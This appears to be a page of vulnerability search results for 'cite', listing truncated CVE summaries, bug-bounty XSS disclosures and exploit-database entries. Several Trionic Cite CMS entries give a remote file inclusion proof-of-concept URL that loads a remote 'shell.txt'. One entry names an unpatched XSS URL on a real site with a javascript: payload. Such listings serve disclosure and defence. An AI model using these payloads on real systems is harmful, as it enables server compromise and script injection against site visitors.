42 matches found
CVE-2025-67479 Magic word replacement in legacy parser allows using reserved data attributes through wikitext
Vulnerability in Wikimedia Foundation MediaWiki, Wikimedia Foundation Cite. This vulnerability is associated with program files includes/Parser/CoreParserFunctions.Php, includes/Parser/Sanitizer.Php. This issue affects MediaWiki: from before 1.39.14, 1.43.4, 1.44.1; Cite: from before 1.39.14,...
CVE-2025-67479
CVE-2025-67479 is a MediaWiki vulnerability (Cite context) involving magic word replacement in the legacy parser that allows using reserved data attributes via wikitext. Affected are MediaWiki releases before 1.39.14, 1.43.4, and 1.44.1; Cite module is also listed as affected. Debian LTS advisory...
EUVD-2007-5251
Malware in sbrugna...
cite-sciences.fr Cross Site Scripting vulnerability OBB-3107536
Following the coordinated and responsible vulnerability disclosure guidelines of the ISO 29147 standard, Open Bug Bounty has: a. verified the vulnerability and confirmed its existence; b. notified the website operator about its existence. Technical details of the vulnerability are currently hidde...
CVE-2020-26672
Testimonial Rotator Wordpress Plugin 3.0.2 is affected by Cross Site Scripting XSS in /wp-admin/post.php. If a user intercepts a request and inserts a payload in "cite" parameter, the payload will be stored in the database...
CVE-2019-7945
A stored cross-cite scripting vulnerability exists in Magento Open Source prior to 1.9.4.2, and Magento Commerce prior to 1.14.4.2, Magento 2.1 prior to 2.1.18, Magento 2.2 prior to 2.2.9, Magento 2.3 prior to 2.3.2. An authenticated user with privileges to modify currency symbols can inject...
cite-sciences.fr XSS vulnerability
Open Bug Bounty ID: OBB-704132 Description| Value ---|--- Affected Website:| cite-sciences.fr Open Bug Bounty Program:| Create your bounty program now. It's open and free. Vulnerable Application:| hidden until disclosure Vulnerability Type:| XSS Cross Site Scripting / CWE-79 CVSSv3 Score:| hidden...
cite.com.tw XSS vulnerability
Open Bug Bounty ID: OBB-545591 Description| Value ---|--- Affected Website:| cite.com.tw Open Bug Bounty Program:| Create your bounty program now. It's open and free. Vulnerable Application:| Custom Code Vulnerability Type:| XSS Cross Site Scripting / CWE-79 CVSSv3 Score:| 6.1...
cite-sciences.fr XSS vulnerability
Vulnerable URL: http://www.cite-sciences.fr/au-programme/lieux-ressources/carrefour-numerique2/tutoriel/url/flashdetection.swf?flashContentURL=javascript:alert/XSSPOSED/ Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability...
Trionic Cite CMS <= 1.2rev9 - Remote File Inclusion Vulnerability
No description provided by source. Trionic Cite CMS 1.2 rev9 Remote File Inclusion Vulnerabilities D.S : http://sourceforge.net/project/showfiles.php?groupid=177347 POC : /PHAT/interface/editors/-custom.php?bFieldbfdata=http://localhost/shell.txt...
Unfixed XSS vulnerability at cite-web.com
Security researcher The Dr1ver, has submitted on 07/09/2011 a cross-site-scripting XSS vulnerability affecting cite-web.com, which at the time of submission ranked 478573 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 11/12/2011. It is current...
CVE-2007-5271
Multiple PHP remote file inclusion vulnerabilities in Trionic Cite CMS 1.2 rev9 and earlier allow remote attackers to execute arbitrary PHP code via a URL in the bFieldbfdata parameter to 1 interface/editors/-custom.php or 2 interface/editors/custom.php...
Immunity Canvas: TRIONIC_INCLUDE
Name| trionicinclude ---|--- CVE| CVE-2007-5271 Exploit Pack| CANVAS Description| Trionic Cite remote file include Notes| CVSS: 6.8 Repeatability: Infinite VENDOR: Trionic Cite CVE Url: http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5271 CVE Name: CVE-2007-5271...
Remote file inclusion
Multiple PHP remote file inclusion vulnerabilities in Trionic Cite CMS 1.2 rev9 and earlier allow remote attackers to execute arbitrary PHP code via a URL in the bFieldbfdata parameter to 1 interface/editors/-custom.php or 2 interface/editors/custom.php...
CVE-2007-5271
Multiple PHP remote file inclusion vulnerabilities in Trionic Cite CMS 1.2 rev9 and earlier allow remote attackers to execute arbitrary PHP code via a URL in the bFieldbfdata parameter to 1 interface/editors/-custom.php or 2 interface/editors/custom.php...
CVE-2007-5271
CVE-2007-5271 affects Trionic Cite CMS (1.2 rev9 and earlier). The issue is multiple PHP remote file inclusion vulnerabilities that allow an attacker to execute arbitrary PHP code by providing a URL in the bField[bf_data] parameter to either interface/editors/-custom.php or interface/editors/cust...
Trionic Cite CMS <= 1.2rev9 Remote File Inclusion Vulnerability
No description provided by source. Trionic Cite CMS 1.2 rev9 Remote File Inclusion Vulnerabilities D.S : http://sourceforge.net/project/showfiles.php?groupid=177347 POC : /PHAT/interface/editors/-custom.php?bFieldbfdata=http://localhost/shell.txt...
trionic-rfi.txt
Trionic Cite CMS 1.2 rev9 Remote File Inclusion Vulnerabilities D.S : http://sourceforge.net/project/showfiles.php?groupid=177347 POC : /PHAT/interface/editors/-custom.php?bFieldbfdata=http://localhost/shell.txt /PHAT/interface/editors/custom.php?bFieldbfdata=http://localhost/shell.txt...
Trionic Cite CMS <= 1.2rev9 Remote File Inclusion Vulnerability
Exploit for unknown platform in category web applications =============================================================== Trionic Cite CMS = 1.2rev9 Remote File Inclusion Vulnerability =============================================================== Trionic Cite CMS 1.2 rev9 Remote File Inclusion...
Trionic Cite CMS 1.2rev9 - Remote File Inclusion
Trionic Cite CMS 1.2 rev9 Remote File Inclusion Vulnerabilities D.S : http://sourceforge.net/project/showfiles.php?groupid=177347 POC : /PHAT/interface/editors/-custom.php?bFieldbfdata=http://localhost/shell.txt /PHAT/interface/editors/custom.php?bFieldbfdata=http://localhost/shell.txt milw0rm.co...